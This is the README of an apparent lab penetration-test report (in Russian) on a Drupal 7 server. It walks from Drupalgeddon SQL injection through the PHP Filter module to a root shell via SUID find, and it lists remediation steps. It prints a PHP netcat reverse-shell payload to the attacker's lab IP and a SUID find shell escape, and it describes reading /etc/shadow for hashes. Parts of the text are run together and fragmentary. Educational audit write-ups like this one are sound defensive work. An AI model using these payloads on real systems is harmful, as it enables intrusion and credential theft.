
Black Box аудит безопасности сервера Drupal 7. Демонстрация полной Kill Chain: SQL-инъекция (CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Повышение привилегий до Root (SUID). Этот репозиторий содержит подробный технический отчёт, эксплойты (PoC) и меры по устранению уязвимостей для защиты инфраструктуры.
Этот проект был выполнен в контролируемой и изолированной лабораторной среде в образовательных и академических целях. Никакая реальная инфраструктура не была атакована. Цель — научиться защищать системы, понимая механизмы атак.
Цель проекта — провести аудит методом чёрного ящика (Black Box). Это означает, что анализ начинается без каких-либо предварительных знаний о цели: не было предоставлено ни учётных данных, ни технической документации, ни исходного кода.
Инфраструктура была развёрнута виртуально на VMware в изолированной частной сети (Host-Only), чтобы исключить любое взаимодействие с внешним миром.
192.168.78.131
192.168.78.132
Первый шаг заключался в картографировании поверхности атаки целевой машины с помощью сканирования портов.
Выполненная команда: nmap -sV 192.168.78.132

Обнаруженные сервисы:
Анализ веб-сервиса (порт 80) и файла robots.txt выявил наличие CMS Drupal. Изучение исходного кода позволило определить устаревшую версию: Drupal 7.x.
Результаты фазы разведки показали критическую поверхность атаки: неподдерживаемую CMS Drupal 7. Эта версия исторически известна уязвимостью к серьёзным проблемам безопасности (в частности, "Drupalgeddon").
Исходя из этого, аудит был направлен на целенаправленный поиск публичных уязвимостей (CVE). Этот перебор подтвердил существование полной цепочки эксплуатации, позволяющей пройти путь от обычного веб-посетителя до системного администратора "Root".
Выявленные векторы атаки:
Эксплуатация уязвимости CVE-2014-3704 (Drupalgeddon). Эта уязвимость в API базы данных Drupal позволяет внедрять SQL-команды без аутентификации.
users с правами администратора.
После входа в качестве администратора использован встроенный модуль PHP Filter. Этот неправильно сконфигурированный модуль позволяет выполнять произвольный PHP-код на страницах сайта.
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>www-data).
Анализ файлов, обладающих разрешением SUID (Set User ID). Обнаружена критическая конфигурация для команды find.
find . -exec '/bin/sh' \;find выполняется с правами root, запуская shell с привилегиями Root (uid=0).После получения доступа root выполнено чтение конфиденциального файла /etc/shadow для эксфильтрации хэшей паролей пользователей.

Аудит выявил уровень риска КРИТИЧЕСКИЙ. Сочетание устаревшей CMS и небрежности в конфигурации системы (SUID) позволяет полностью скомпрометировать сервер.
Последствия для организации:
/etc/shadow).Приоритетный план действий:
chmod u-s /usr/bin/find).Для получения полных технических деталей, использованных скриптов и углублённого анализа обратитесь к полному отчёту: Читать отчёт об аудите (PDF)
Fabien MOINE